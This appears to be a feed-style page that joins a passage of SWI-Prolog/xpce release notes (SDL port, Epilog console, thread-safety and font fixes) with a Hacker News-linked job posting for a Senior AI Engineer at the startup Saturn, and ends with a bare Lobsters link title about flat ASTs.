  • FIXED: #1254 crash in PL_get_mpq()

  • FIXED: tell/1: properly manage standard stream references.

  • FIXED: Stream reference counting and reset when closing a standard
    stream.

  • FIXED: Memory leak in string_bytes/3.

  • FIXED: Properly close temporary redirect to a string
    tellString()/toldString() could fail to reclaim the temporary stream
    object.

  • ENHANCED: Use a segmented stack for dealing with findall/3.
    This avoids memory fragmentatation when findall/3 is deeply nested.
    Although that is a rare occasion, deeply nested findall/3 leads to
    poor memory reuse. As activating and deactivating is stacked anyway,
    a segstack avoids the fragmentation.

  • ADDED: help(Name/Arity): handle user predicates.

  • FIXED: xref_source/2: keep processing PlDoc commants after including
    a file.

  • ADDED: help/1: give help on a specific user predicate using Module:PI.

  • ENHANCED: help/1: filter user predicates on the module class.
    This use to filter on whether they are documented in the manual,
    making it impossible to show documentation for loaded predicates that
    conflict with something defined in the manual.

  • FIXED: Thread I/O streams may be invalid If a thread is created
    using thread_create/3 with the inherit_from(Thread) option or using
    PL_thread_attach_engine() (which inherits from main ), we may copy
    current_input or current_output from a temporary redirect.

    The reference counting when copying the streams was broken, possibly
    causing memory corruption. This is improved, but not 100% safe.
    However,
    we now set the current_input and current_output to user_input and
    user_output , which typically never change.

  • FIXED: help/1 to deal with help on public predicates in included files.
    help/1 finds the predicate and, if necessary, reloads the file in
    which it is defined to get the documentation. If the predicate is
    defined in an include file it should reload the main file to get the
    module context right.

  • ENHANCED: trace/1,2 and friends. - Code cleanup - Support conditional
    trace using trace(Head, Port(Condition))

  • FIXED: Ensure correct setting file handle for std streams. This was
    broken after adding the fileno field to the IOSTREAM struct.

  • MODIFIED: Discontinue thread_exit/1 on Windows The implementation was
    broken for some time. The reason is not entirely clear, but possibly
    related to issues in pthread-win32. As the predicate is unsafe and
    deprecated anyway, it has now been removed from the Windows version.

  • FIXED: pack metadata checking for prolog:Feature requirements.

  • FIXED: make stream_property(S, file_no(N)) safe. This used to be
    subject to race conditions between the enumerating thread and threads
    that close the underlying stream. We now copy the file handle as it
    was found when creating the stream to the main stream structure.

  • CLARIFIED: PL_free_blob() can be called multiple times. This patch
    changes subsequent calls to a no-op that returns FALSE and document
    this is valid. After comment by Peter Ludemann.

  • CLEANUP: Do not call blob release() on GC or cleanup after
    PL_free_blob()

  • ENHANCED: Answer/query expansion. Toplevel variable ($Var) handing
    is now always handled, regardless of the user:expand_query/4 or
    user:expand_answer/2 hooks. The user:expand_answer/2 hook is
    superseded by prolog:expand_answer/3.

  • DOC: Deprecate format/3 with a non-list 3th argument.

  • FIXED: Setting the C-stack limit to values not a multiple of the page
    size Causes problems on some platforms.

  • DOC: Use ASCII LaTeX ``word’’

  • FIXED: Preserve atributes set on foreign functions for saved states.
    This bug causes http_stream:stream_range_open/3 not be to transparent
    when reloaded from a saved state. This in turn raises an error with
    http_open/3 on HTTPS and chunked streams.

  • ENHANCED: coverage/2: analyze and annotate included files.
    The coverage analyzer now deals with files that are included. Files
    that are included multiple times in different modules get their
    numbers aggregated.

  • FIXED: Crash when using ‘$cov_data’/3 if there is no coverage data.

  • ADDED: PceEmacs C-mode: declaration of keywords.

  • ADDED: syntax_table->keywords to register known keywords for
    a syntax

  • MODIFIED: Generalised text_buffer->for_all_comments Replaced by
    text_buffer->for_all_syntax , which qualifies additional syntax
    types. Currently only quoted material.

  • ADDED: Support for multi-character line comment lead-in (e.g. //
    comment)

  • MODIFIED: syntax_table->prolog: bool replaced by
    syntax_table->language

  • ADDED: `text_buffer<-lsp_offset(line,character) → offset Translate
    position in LSP notation to an offset.

  • ADDED: text_buffer<-lsp_column Produces the character field
    of an LSP range start/end. This is the position inside the line in
    UTF-16 code points.

  • ENHANCED: editor->align_line to avoid modifications if alignment
    is already satisfied.

  • FIXED: text_buffer->insert not to set modified if we insert 0 times.

  • ADDED: PceEmacs: M-x idle-timeout seconds Sets the time we wait before
    re-running semantic highlighting.

  • ADDED: PceEmacs: hooks to allow syncing to an LSP server

  • ADDED: Class text_buffer to allow forwarding changes incrementally
    This implements methods to generate LSP (Language Server Protocol)
    compatible incremental change events. The basic method is
    text_buffer<-lsp_changes , which returns a chain of text_change
    objects that provide the changed range and replacement text.

  • PORT: Fixed emulation of C11 atomic_compare_exchange_strong()

  • PORT: Compilation in MSVC This is only a partial port to MSVC.
    It does fix several issues though.

  • FIXED: If there is no gui, do not setup xpce for lazy loading.

  • PORT: Hack around MacOS oddities to get SIGWINCH

  • PORT: Make compilation succeed if SIGWINCH is not defined.

  • FIXED: Message handling. Broke emacs/0. Reported by @mike.elston

  • FIXED: swipl-win to handle interrupt in the console that started
    swipl-win. What should we do if there is no terminal, i.e., if
    swipl-win is started as app directly from the GUI? It should not
    get interrupt signals in that case, but what if it gets one anyway?

  • ADDED: Epilog: use pthread_kill() to update client thread of window
    size change. This fixes resizing Epilog windows cooperation with
    libedit. To work correctly, the libedit package must be updated
    as well.

  • ENHANCED: Detection of when to load library(pce).

  • ADDED: Epilog: Shift-Ctrl-M to inject make/0.

  • MODIFIED: Removed all PostScript related support This was
    non-functional anyway. The Cairo graphics is used to implement
    graphical->pdf for generating PDF. This functionality is still
    rather minimal. It will be extended in the future.

  • FIXED: Colour for class int_item up/down arrows. And some code
    cleanup.

  • ENHANCED: class font_item to reflect current possibilities better.

  • ENHANCED: Updated PceDraw - Use native file dialog for save, load
    and export - Remove windows metafile support - Replace Postscript
    output with PDF - Disable printing. Not supported by SDL and not
    very important.

  • DOC: Revive the XPCE User Guide This commit re-adds the Makefile ,
    updates the Prolog helpers and minimal updates to reflect some aspects
    of XPCE version 7 in the documentation.

    Eventually the build process must be migrated to CMake, most images
    should be regenerated and the text reviewed and updated where needed.

  • ADDED: graphical->pdf to write PDF to a file

  • FIXED: Always enable color on the Epilog consoles.

  • ENHANCED: Start Epilog file dialog in working directory.

  • ENHANCED: Make Quit Prolog the default button for confirming close
    with open windows.

  • ADDED: Allow inspecting the GUI hierarchy from Epilog.

  • ADDED: pce_show_visual_tool/0 to library(man/v_visual). This allows
    showing the GUI inspector stand-alone.

  • FIXED: Block other Prolog threads while a window is being redrawn.
    Modifying graphics while a redraw is in progress may result in
    inconsistent graphics or crashes.

  • FIXED: Thread specific module and context object. These two global
    variables are used in the xpce interface predicates to keep track of
    the context. As xpce allows access from multiple threads they must
    be thread specific.

  • FIXED: Exclude files that require threads for single threaded version.

  • FIXED: Ensure Prolog exceptions are propagated through xpce.

  • FIXED: Epilog: save history in all scenarios This covers closing the
    main window using the menu, window close button, Ctrl-D, Shift-Ctrl-W.

  • ENHANCED: Epilog: use native file dialog

  • ADDED: frame<-open_file and frame<-save_file : use OS dialog
    to prompt for a file. These new methods use SDL3’s interface to file
    dialog windows to ask for a file for reading or writing. Tested to
    work on MacOS, Windows and Fedora using Gnome.

  • ENHANCED: Do not load theme based on display<-theme if a theme was
    already loaded.

  • FIXED: Use-after-free in frame<-confirm Also allows this method to
    run from any thread.

  • ENHANCED: Show fragment icons vertically aligned in the line.

  • COMPAT: Use new prolog:message_action/2

  • FIXED: Show breakpoints in PceEmacs and GUI tracer No longer rely
    on messages. There is a problem with the message system where
    user:message_hook/3 is both used to redirect messages and to act
    on messages. The latter are hooks that fail, the first are hooks
    that succeed. It might be better to have two hooks.

  • FIXED: Possible use-after-free

  • MODIFIED: Epilog terminal to follow links on Ctrl-click Used
    to be simple click. This causes too much unintended actions.
    Using Ctrl-click is consistent with other terminal emulators.

  • FIXED: Use-after-free graphical->unlink destroys its
    <-layout_interface , i.e., the table_cell . Using a code reference
    delays the actual deallocation.

  • ENHANCED: Avoid deadlocking Epilog if thread is not sensitive to
    signals.

  • MODIFIED: Windows: open Epilog pipe in client using
    FILE_FLAG_OVERLAPPED This patch must be combined with updating the
    libedit package.

  • FIXED: Thread-safety for passing raw Prolog terms through xpce

  • FIXED: Erroneous transfer for xpce references.

  • FIXED: Allow frame->wait to be called from any thread.

  • FIXED: Make the AnswerStack thread local.

  • FIXED: Invalidate source location cache after reloading a file.
    Broken after introduction of atomic reconsult that preserves clauses
    as much as possible.

  • FIXED: Memory management for frame<-confirm and friends.

  • ADDED: GUI Tracer to show details and copy constraints Cycles and
    constraints displayed in the Bindings sub-window now support the
    Details and Copy functionality.

  • ENHANCED: do not trace switching the GUI tracer on/off.

  • ADDED: Epilog: Debug menu.

  • ENHANCED: Epilog message capturing. swipl-win : make sure all
    messages printed to the main thread end up in an Epilog window.

  • FIXED: Possible use-after-free

  • FIXED: Possible use-after-free

  • FIXED: Read beyond the end of local array. May lead to invalid UTF-8
    sequences and corrupted terminal output.

  • FIXED: Possible memory corruption.

  • FIXED: Epilog: correctly handle \e[@ . This escape sequence is
    used for inserting into the commandline. Its default should be 1 rather
    than 0. This fixes inserting into the commandline, notably on Windows.

  • FIXED: Various encoding issues in class file .

  • FIXED: Lazy binding of Prolog methods was not thread-safe.

  • FIXED: Make double and triple click in Epilog copy the selection
    properly. This set the selection twice from an event, which apparently
    causes SDL3 to reset the selection.

  • FIXED: Incremental search backspace handling

  • CLEANUP: Avoid undefined warnings for gcc -O3

  • FIXED: Emacs mark+move cursor to maintain an active selection.

  • FIXED: Correctly handle UTF-8 console output if the buffer ends with
    an incomplete UTF-8 character.

  • FIXED: PceEmacs: make shift-caret movement extend the selection.
    Selection is now deactivated without shift.

  • FIXED: Resizing the thread monitor too small leads to a type error.
    Reported by @mike.elston

  • MODIFIED: Control the Prolog consoles using a single predictate
    set_epilog/1.

  • ADDED: epilog_attach/1 to attach an epilog window to an already running
    thread. This now supports attach_console/0,1 from library(threadutil).

  • FIXED: Windows: Avoid that a popup causes loss of focus. Popups no
    longer grab the system focus, but instead use xpce’s focus notion to
    forward events to the popup.

  • FIXED: More careful display handling.

  • ADDED: Epilog console: make DEL key send \e[3~ . This provides
    forward delete on Linux, but not on Windows. Probably the libedit
    port needs additional patching.

  • FIXED: Bind any key >= 128 to ->insert_self

  • FIXED: Allow entering on Italian keyboards using Alt-gr.
    PceEmacs interpreted these as Alt- , moving over a clause.

  • FIXED: Gracefully handle failures to inspect changes to the attached
    displays.

  • ADDED: Cursor home/end key support on all editable text.

  • FIXED: frame->label : Allow using from any thread.

  • ENHANCED: Make a subwindow only get the input focus if
    ->_wants_keyboard_focus succeeds. This notably prevents loosing
    PceEmacs focus after a click in the menu.

  • FIXED: Use a method rather than a function call if a window looses
    focus. This allows the Prolog tabbed_window class to forward
    this event.

  • ADDED: PceEmacs: Shift-left-click extends the selection.

  • ADDED: Class terminal_image event handling to extend the selection
    on SHIFT-click

  • FIXED: Make sure modifier buttons are set for mouse up/down events.

  • FIXED: PceEmacs: make shift/control-cursor-keys work again.
    E.g. Ctrl-<cursor_right> moves by word and cursor movement with
    SHIFT enabled extends the selection.

  • CLEANUP: Remove various tools from the manpce/0 window.

  • CLEANUP: PceEmacs: Remove Pce popup from Prolog mode

  • ADDED: epilog_insert_menu/2 and epilog_insert_menu_item/4. Compatible
    with old win_insert_menu/2 and win_insert_menu_item/4. These predicates
    let an application control the menus.

  • ADDED: menu_bar->append : before argument.

  • ADDED: Implement app config hook to set the window title. This sets
    the title when running swipl-win file.pl ...

  • ADDED: Epilog: Allow loading a file from the window popup.

  • ADDED: terminal_image<-url to get the link url from a location.

  • FIXED: Use PceEmacs *Documentation* for help.

  • FIXED: PceEmacs popup for Documentation Run in Epilog window.
    Actually, we should use xpce to display the HTML.

  • FIXED: Class list_browser binding for backspace.

  • FIXED: Keyboard focus handling for completer windows. If there is
    a grabbing window, redirect all keyboard input to the grabbing window.

  • FIXED: class list_browser to handle arrow keys.

  • FIXED: Avoid destroying the completion browser. This is now a
    transient frame

  • FIXED: When running as epilog, disable debugging the main thread.

  • FIXED: Establish platform dependent resource defaults. This notably
    makes Apple keybindings default on MacOS.

  • ENHANCED: class terminal_image to use methods for copying This allows
    for redefining terminal_image->copy .

  • FIXED: UTF8ToString() created a name for ASCII strings.

  • FIXED: Locking for Windows.

  • CLEANUP: Simplify and share locking code between Windows and POSIX

  • FIXED: Make all xpce stack related variables thread specific.

  • FIXED: Support multiple threads in xpce variable handling This patch
    makes @arg1 , etc. supporting multiple Prolog threads making progress.

  • FIXED: Possible variable block corruption in expression evaluation.

  • ADDED: Implement selection for class text .

  • FIXED: Feedback for class path selection when using dark theme.

  • FIXED: re-colour bitmaps to fore and background. Accessed @nil
    as colour.

  • FIXED: Releasing and reacquire the xpce global lock. Caused incorrect
    lock counts if the lock was held by another thread when called.

  • FIXED: Deadlock after new/2 fails due to module error.

  • BUG: Temporarily disabled library(pce_unclip). Getting this to work
    requires changes due to modern restrictions of event grabbing.

  • CLEANUP: Track frame position relative to its display.

  • ADDED: Process keypad command keys when not in numlock mode.

  • ENHANCED: Draw window initial content before showing the window.

  • ENHANCED: When hovering a menu bar, first open the next popup before
    closing the old. This avoids flickering the main window due to
    regaining/loosing focus.

  • FIXED: Honour frame->input_focus if there is a subwindow that has
    defined a keyboard_focus.

  • FIXED: Windows handling multiple epilog windows.

  • MODIFIED: Handle Alt-right (Alt-Gr) as possible text input.

  • FIXED: Possible crash in click detection.

  • ENHANCED: Better font defaults and allow controlling the fonts
    via CMake.

  • DOC: Updated Defaults.user with information on how to map fonts.

  • FIXED: Font viewer (swapped arguments)

  • FIXED: Deal with distinguishing text input from other keyboard events.

  • FIXED: Allow or Unicode strings in resource files.

  • FIXED: Start fontviewer from scratch

  • FIXED: PceDraw attribute editor failed to open.

  • FIXED: Dark theme: draw selection handles using the foreground colour.
    Used to be fixed to black. Also fixed class bezier that has its
    own code.

  • FIXED: Windows pipe size for epilog threads. This seems to fix two
    issues: much faster console output and no more pending output.

  • FIXED: Thread monitor called between/3 using a float. This is due
    to fonts that now have float sizes.

  • FIXED: Only reset xpce on aborts in the xpce thread.

  • FIXED: Invoking display->confirm with non-visual for argument.

  • ENHANCED: Allow frame->expose to be called from any thread.

  • ADDED: class(epilog) as application managing all epilog frames.
    The object @epilog can be used to find and act on existing
    epilog windows.

  • ENHANCED: Debug message browser. Use close for closing the window,
    make help open the web page on library(debug) and provide a class
    variable for styling.

  • FIXED: frame->open_centered on systems that respect position hints.

  • ENHANCED: PceEmacs sgml mode to avoid dark blue. Makes it more usable
    with a dark theme.

  • FIXED: Avoid accessing SDL main functions for creating a window.
    This ensures no SDL restrictions are violated when creating an xpce
    window in a thread.

  • DEBUG: Add debugging code to verify we do not call any SDL function
    from the wrong thread.

  • ENHANCED: Ask the user what to do if the main console is closed.

  • ADDED: library(pce_openframes) Checks still open frames and allow
    the user to act on them.

  • ADDED: Set the SDL_VIDEO_DRIVER from a Prolog flag. This allows
    controlling the video driver without using the environment.

  • ADDED: Type num . This is the next step in migrating the non-object
    type Int to support floating point numbers. As yet, the type may be
    used but int and num behave the same except for conversion from
    class real and from a string.

  • FIXED: Cmd-+ to enlarge font on MacOS (set to default)

  • ADDED: Epilog support for rescaling the font.

  • FIXED: terminal_image->font to rescale the terminal.

  • ADDED: font<-rescale Also fixes the generated object reference to
    allow for sub-pixel sizes.

  • ADDED: Support frame->set when the window is visible. This allows
    for progamatic changes to the size and position of already open
    windows.

  • ADDED: Support updating the displays if a display is moved by the user.

  • FIXED: Exploit new prolog_trace_interception/4 halt This fixes
    halting from the GUI tracer.

  • PORT: Fixed building on Windows.

  • FIXED: Removed normalise argument to ->open

  • ENHANCED: Capture xpce messages in the epilog console. This patch
    redirects direct console output and Prolog print_message/2 that would
    print to the Prolog console to an Epilog window. If the message is
    associated to a thread with an epilog window, use that. Else use
    the last used Epilog window or just any of them as last resort.

  • ENHANCED: Do exception handling for xpce’s main loop.

  • ADDED: Change selection on cycle menus based on the mouse wheel.

  • FIXED: Placement of popup menus on secondary display on MacOS SDL’s
    normalization of the window position on secondary displays is broken.
    This patch works around this issue.

  • FIXED: Make Window creation display aware. On Wayland, new window
    positions are ignored, but Wayland creates new windows on the “active”
    display. On MacOS, windows are always created on the primary display
    unless we place them in the area of a specific display. Our code
    now tracks the “active” display and opens new windows on this display.

  • MODIFIED: Signatures for opening windows and frames. All these
    methods now have the signature

    ->open: [position], [display], [grab].
    

    We need to pass this display if we want to controll the display
    on which
    the window is opened.

  • ENHANCED: Always enable hyperlinks in Epilog terminals.

  • MODIFIED: Font handling This commit removes all outdated X11 oddities
    from class font and adds modern Pango based naming and behaviour.
    This adds support for explicit font weight manipulation. This commit
    also completely rewrites the FontViewer demo program, providing good
    insight in the available fonts and mapping to xpce.

    Applications using font aliases (fixed, normal, bold, etc.) should
    work as before. Applications that use explicit font/3 or font/4
    terms must be updated in most cases. They keep working, but will
    often show the default normal font.

  • MODIFIED: Deleted normalised argument for ->open. SDL does not
    provide the required information and normalises itself.

  • THEME: Control the text colour of cycle menus.

  • FIXED: Type char now accepts the whole unicode range

  • FIXED: Release XPCE lock on method callback to Prolog.

  • FIXED: Avoid deadlock Release XPCE lock when doing I/O through
    Cprintf() and friends. When output is redirected to an Epilog window
    this causes a deadlock.

  • ADDED: Allow specifying the Pango name and retrieving it.

  • FIXED: Tab handling Now using floats and using font<-avg_char_width
    rather than <-ex which is a height rather than a width.

  • ADDED: class(font)->list_fonts

  • MODIFIED: Migrated font resources from class display to class font.

  • MODIFIED: Removed font alias table from display. There is now a
    global table @font_aliases .

  • FIXED: Avoid failure building manual index if methods are deleted.

  • CLEANUP: Deleted class monitor. Monitors are represented by instances
    of class display.

  • CLEANUP: Remove unsupported X11 selection interface details.

  • CLEANUP: Manu X11 specific details.

  • CLEANUP: Remove display->draw_in. Non-portable.

  • FIXED: Support MacOS natural scrolling.

  • MODIFIED: Move theme setup from epilog to xpce initialization.
    As a result, not only swipl-win or epilog/0 listen to the theme,
    but any xpce application.

  • BUILD: Support older CMake versions Building xpce fails by not finding
    SDL3::SDL3 when doing compile configuration tests.

  • ADDED: Allow user specified theme using display.theme resource.
    Add this to the GUI Preferences to force a theme. Use default
    to stop loading a theme file.

    display.theme: dark

  • FIXED: XPCE locking

  • MODIFIED: The default image ↔ kind is now pixmap .

  • ADDED: image->pixel support.

  • ADDED: Interpret monochrome images as bitmaps.

  • ADDED: Use syntax_table to describe word chars for the terminal.

  • ADDED: Terminal support for select_all.

  • ADDED: Epilog console support for triple-click

  • CLEANUP: Locking types

  • MODIFIED: display->{inform,confirm} Changed signature to Visual,
    Title, Format, …

  • ENHANCED: Use system message box for display->{inform,confirm,report}
    Exploit SDL_ShowMessageBox(). Need to handle the title and window.

  • FIXED: Destroy SDL renderers for subwindows when unmapping a frame.

  • ENHANCED: xpce cross referencer GUI Added class variables to support
    dark theme and show directory names more informative.

  • ENHANCED: Make size of cursor in open_look style a resource.

  • FIXED: Correct layout for text with leading or trailing spaces

  • ENHANCED: xpce demo for HSV colours Show the 3 closest matching named
    colours and show both the colour box and text in the target colour
    using the default background.

  • ADDED: colour<-distance to compute ΔE₀₀ distance.

  • ADDED: @colour_list , providing the colour names in logical colour
    ordering.

  • THEME: Make xpce profiler support dark theme. This also requires
    updating Prolog as there is the dark theme itself defined. This patch
    only adds class variables to the various colours rather than using
    hard coded values.

  • FIXED: Class list_browser: incremental search. Failed to grab keyboard

  • FIXED: Access NIL table cell.

  • ENHANCED: Fixed dark mode for inspector.

  • ADDED: Resource text_colour for class text_item Allow for different
    colours for the label and text field.

  • FIXED: Overruling class-variables Failed if the class variable already
    appeared in the hash table.

  • ENHANCED: Image and text alignment of class toc_image

  • MODIFIED: Allow images of kind bitmap . If such an image is
    displayed, its black pixels are translated to the current foreground
    and its white pixels to the current background.

  • ADDED: Provide support for alpha channal to colours.

  • MODIFIED: Simplify the colour model. Remove all legacy X11 support
    and simply represent colours internally as uint32_t . RGB values
    are now communicated as integers in the range 0..255 (was 16 bits).

  • CLEANUP: Remove empty RAY backend

  • CLEANUP: Deleted class colour_map

  • FIXED: insert key binding set handling of RET, TAB, etc.

  • ADDED: Set the colour of accelerators in popup menus.

  • ADDED: Bind copy/cut/paste to Shift-Ctrl-{C,X,V}

  • ADDED: key_binding <-accelerator_label Moved from PceEmacs to
    extensions to library(pce_keybinding).

  • MODIFIED: Key-names for named function keys are now between angle
    brackets. This is consistent with Emacs, although some keys still
    have different names.

  • ADDED: Function key (F1..F12) mapping. These used to be called
    key_top_<n> . They are now called more conventionally f1..f12 .

  • MODIFIED: key_binding<-binding to return a chain Old implementation
    just returned the first match. Now we return all key events for
    some function. This allows for rendering the preferred one, such as
    the one bound to an Apple command key.

  • PORT: Use Apple Command key for save/copy/cut/paste.

  • MODIFIED: Sync common function keys with Emacs naming.

  • ADDED: Distinguish accelerator @nil from @default . Using @nil
    explicitly disables.

  • ADDED: gui modifier, supporting Windows key or Apple command key.

  • FIXED: possible crash in getRootGraphical()

  • ADDED: Setup epilog theme from system preferences

  • CLEANUP: Remove a lot of duplicate declarations. Ongoing work.

  • ADDED: display<-system_theme Get the user theme preference

  • FIXED: Init TERM when needed.

  • FIXED: Ensure the “mouse tracking window” is not reclaimed.

  • FIXED: MacOS sometimes reports a mouse-up associated to no window.
    As a work-around, we implicitly associate it with the window that
    got the last down event.

  • FIXED: Draw resize line correct on hires displays.

  • FIXED: Conversion of UTF-8 to xpce objects Converted always to UTF-16
    rather than only on Windows.

  • FIXED: Do not keep swipl-win open if there are only hidden or
    unmapped frames.

  • FIXED: window->redraw must invalidate rather than draw.

  • ENHANCED: gxref/0: do the heavy work in a background thread.
    This keeps the GUI responsive.

  • FIXED: Position logic for windows using a decorator displayed on
    other windows. Notably the cross-referencer uses this.

  • ADDED: Support cursors created from images.

  • FIXED: Colour browser interpretation of hash values. The current
    version adds the alpha channel.

  • PORT: Fixed wide pce string ↔ UTF-8 conversion. PceString is for now
    UTF-16 on Windows. We might change that, but for now we do UTF-16 ↔
    UTF-8 conversion that deals with surrogates.

  • ADDED: Add a line between resizable windows.

  • FIXED: Avoid deadlock in Epilog paste on Windows. It appears
    WriteFile() blocks if there is no read in progress on Windows.
    As this must happen in the same thread, this does not work. We now
    use the sdlinput.c async I/O to also handle asynchronous writes.

  • FIXED: EOF and error handling on Windows pipes.

  • ADDED: display->list_fonts Temporary work-around. Eventually should
    return an xpce data structure.

  • PORT: Make Epilog work somewhat on Windows. Requires git version of
    Prolog and latest version of winlibedit.

  • ADDED: pce_open_terminal_image/4 to get access to the terminal client
    streams Using terminal_image<-pty_name does not work on Windows
    and we cannot safely transfer Windows HANDLE or Prolog IOSTREAM*
    over the xpce method API, so we need an additional predicate.

  • PORT: Connect Windows PseudoConsoles to class terminal_image. This
    also adds terminal_image->launch , which allows running processes
    in the terminal.

  • ADDED: Implement OSC 0 (window title) terminal escape

  • COMPAT: Changed dispatch handling to pass an IOSTREAM that must
    be watched.

  • PORT: Working on Windows port.

  • BUILD: Make -DSDL=ON the only option. This version of xpce no
    longer supports X11 and Win32

  • ADDED: Epilog Clear screen in popup.

  • FIXED: Disable pce_dispatch/1 when using SDL.

  • FIXED: Get image file path

  • FIXED: Input lag on stdin.

  • ADDED: library(terminal): provide embedded terminal.

  • FIXED: Removing watched streams

  • ADDED: pce->open_url to use SDLs primitives for opening a URL.

  • FIXED: Images may not be opaque even if they do not have a mask.

  • FIXED: Compute offset of graphicals to the frame when using nested
    window. This fixes the popup offset in PceEmacs.

  • MODIFIED: Using @nil for an image background sets the background
    to transparent

  • FIXED: Avoid extra space around popup menus.

  • FIXED: Redraw after change of window size.

  • ADDED: sdl_send() to execute messages on the SDL main thread

  • MODIFIED: Removed several built-in bitmaps. Use colours for filling.

  • TMP: This should be undone at some point.

  • BUILD: Introduce src/namedb.txt to get smooth rebuilding if NAME_
    changed

  • PORT: Added SDL binding as stubs

  • ADDED: src/sdl dir for future SDL2 binding

  • PORT: Added empty new low-level binding. This binding aims at binding
    to raylib , but that is only refected in
    the name of the binding directory ( src/ray ). Otherwise it merely
    implements a completely empty binding based on stubs generated
    by ChatGPT.

  • MODIFIED: WM_CLASS handling Recent desktop environments such as
    Gnome 46 and later ignore the _NET_WM_ICON property to set an
    icon for a frame (toplevel window). We can set the icon through a
    .desktop file using StartupWMClass where all windows of a
    process are bundled under the same icon. But, xpce set WM_CLASS
    from the xpce class name.

    This patch adds display<->wm_class to set the WM_CLASS
    for all toplevel windows. The default is SWI-Prolog . By
    setting this to @default , the old behavior is restored.

  • FIXED: emacs/1: allow non-existing file. This also fixes ?- edit(file(File)) to create a new file as advertised.

  • FIXED: Profiler IDE: link to website. Renamed “exit” to “quit”,
    removed “statistics” (is shown anyway) and “about” (useless).

  • PORT: Do not install Xserver.pl on Windows versions.

  • COMPAT: Handle changes to ‘$qlf_sources’/2

  • FIXED: Allow reloading pce_editor.pl when using .qlf files.

  • PORT: Avoid partial lists in DCGs

  • ENHANCED: PceEmacs: reload styles if new style facts are added.
    This is necessary if Prolog files that hold highlight declarations
    are loaded after creating the editor.

  • BUILD: Build xpce library index before running qlf_make/0

  • ENHANCED: PceEmacs: deal with possibly not-installed sources.

  • FIXED: Add dependencies to make qlf compile work qlf_make/0 now
    reorders based on file dependencies. This means we can add the
    dependencies here and avoid hacks.

  • FIXED: Load library(emacs_extend) explicitly in mode files This is
    required to ensure that the term expansion is applied when generating
    the .qlf files.

  • CLEANUP: Remove pce_boot search path. Now using hard paths to resolve
    references between the various boot files.

  • BUILD: Better support building .qlf files without an X11 display

  • CLEANUP: Removed forgotten HTTP implementation

  • CLEANUP: Delete duplicate libraries Deleted

    • pce_drag_and_drop.pl (duplicate of dragdrop.pl)
    • pce_drag_and_drop_dict_item.pl (duplicate of dragdict.pl)
    • pce_loadcxx.pl (non-functional)
    • pce_selection.pl (old, deprecated)
    • sp_fcompile.pl (non-functional)
  • TRACER: Fixed “finish” to use new skip(Frame) reply.

  • FIXED: X11 version: paste Unicode text

  • FIXED: Avoid deadlock in display<-selection .

  • PORT: Avoid -Wstringop-truncation warning.

  • PORT: Silence address sanitizer errors.

  • MODIFIED: PceEmacs: sync comment commands with (my)GNU Emacs. -
    \C-c\C-h (insert_section_comment)
    Insert code section comment from prompted title - \C-c\C-q
    (insert_long_comment)
    Insert /* - - - … - - - */ comment

  • Saturn (YC S24) Is Hiring Senior AI Engineer

    Hacker News
    www.ycombinator.com
    2025-12-04 07:00:51
    Comments...
    Original Article

    Compliance and back office workflows for Wealth Managers.

    Senior AI Engineer

    £110K - £155K GBP London, England, GB

    Role

    Engineering, Machine learning

    Skills

    Python, Machine Learning

    Connect directly with founders of the best YC-funded startups.

    Apply to role ›

    About the role

    Why Saturn?

    Saturn is revolutionizing financial services with AI, building the operating system for financial advisors. Our mission is to democratize financial advice for one billion people by providing the world's most trusted, intelligent platform for financial planning and compliance.

    This is a rare chance to build a category-defining company in a high-stakes, regulated environment. We operate with a Dual Mandate : relentless Speed of Execution to deliver reliable, robust products today, and dedicated Speed of Learning to explore the frontier of AI and unlock the next generation of features.

    If you are driven by the pursuit of greatness, thrive on end-to-end ownership, and want to build the gold standard for AI trust and reliability, we invite you to build with us.

    Role Overview

    As a Senior AI Engineer at Saturn, you are the single-threaded owner of critical, customer-facing AI features that form the backbone of the advisory operating system. This is a highly autonomous role requiring robust software engineering fundamentals, deep LLM intuition, and an obsessive focus on product quality in a regulated domain.

    You will own the entire feature lifecycle: from defining the Gold Standard with our domain experts (Guardians), architecting the agentic workflow, designing and building the comprehensive evaluation suites, to deploying and operating the solution reliably in production. You are expected to move quickly, making pragmatic, data-backed decisions that drive measurable value.

    What You'll Do

    1. End-to-End Feature Ownership and Architecture:

    • Ownership: Take complete ownership of a product domain or complex feature, making architectural decisions independently and delivering high-quality results from concept through to long-term maintenance.
    • Defensive Design: Architect and implement fault-tolerant AI systems, incorporating robust fallbacks (via a model-agnostic gateway), retries, and comprehensive monitoring and tracing, driven by the Will to Care about system reliability.
    • Explicit Orchestration: Design and deploy complex, multi-step AI agents using explicit orchestration frameworks, ensuring state transitions are visible, testable, and auditable.

    2. Drive Evaluation and Quality Discipline:

    • Design Evaluation Strategy: Design, implement, and maintain the comprehensive, systematic evaluation framework (Evals Flywheel) specifically for your features to rigorously measure performance, manage regressions, and ensure quality compounds over time.
    • Domain Partnership: Work directly with our domain experts to translate complex financial and compliance requirements into executable evaluation rubrics and Gold Standard datasets.
    • Quality Feedback Loop: Instrument features end-to-end to rapidly diagnose probabilistic failures, converting production issues into high-priority regression tests.

    3. Elevate Engineering Standards:

    • Technical Excellence: Write clean, modular, Python code that raises the bar for the team. Actively participate in code review, using the process to mentor peers and reinforce architectural standards.

    What You Have

    • 5+ years of professional experience in a highly demanding engineering environment.
    • Proven track record (3+ years) of building, shipping, and operating scaled, impactful products where Generative AI or LLMs are a core component.
    • Deep Experience with Agentic Systems: Expertise in RAG pipelines, systematic prompt engineering, agentic workflow orchestration, and defining reliability trade-offs for production systems.
    • Evaluation Focus: Direct, demonstrable experience designing, writing, and maintaining automated evaluation frameworks ( evals ) used to rigorously test and improve probabilistic systems.
    • End-to-End Ownership: A history of thriving in ambiguity, taking complete ownership of large features, and driving initiatives forward independently with a strong bias for action.
    • Engineering Excellence: Mastery of Python and modern backend development practices, including system design, testing, CI/CD, and robust production observability.
    • Product & User Focus: Strong product sense and the drive to quickly build domain expertise, translating user needs and compliance context into high-value technical solutions (the expression of Will to Care for the customer).

    Saturn Values in Practice:

    • Earn Trust: Building verifiably correct, explainable systems (Citation-First, Adviser-in-the-Loop).
    • Pursue Greatness: Driving our Evaluation-Driven Development flywheel to compound quality daily.
    • Seek Truth: Relying on data, traces, and customer feedback (Guardians) to inform every decision.
    • Be Audacious: Taking decisive ownership and building intelligent agents that solve previously unsolvable problems in finance.
    • Will to Care: Obsessively anticipating customer needs and building systems with extreme attention to detail, ensuring long-term quality, reliability, and the success of our users and peers.

    About Saturn

    Saturn

    Founded: 2023

    Batch: S24

    Team Size: 18

    Status: Active

    Location: London, United Kingdom

    Founders

    Super-flat ASTs

    Lobsters
    jhwlr.io
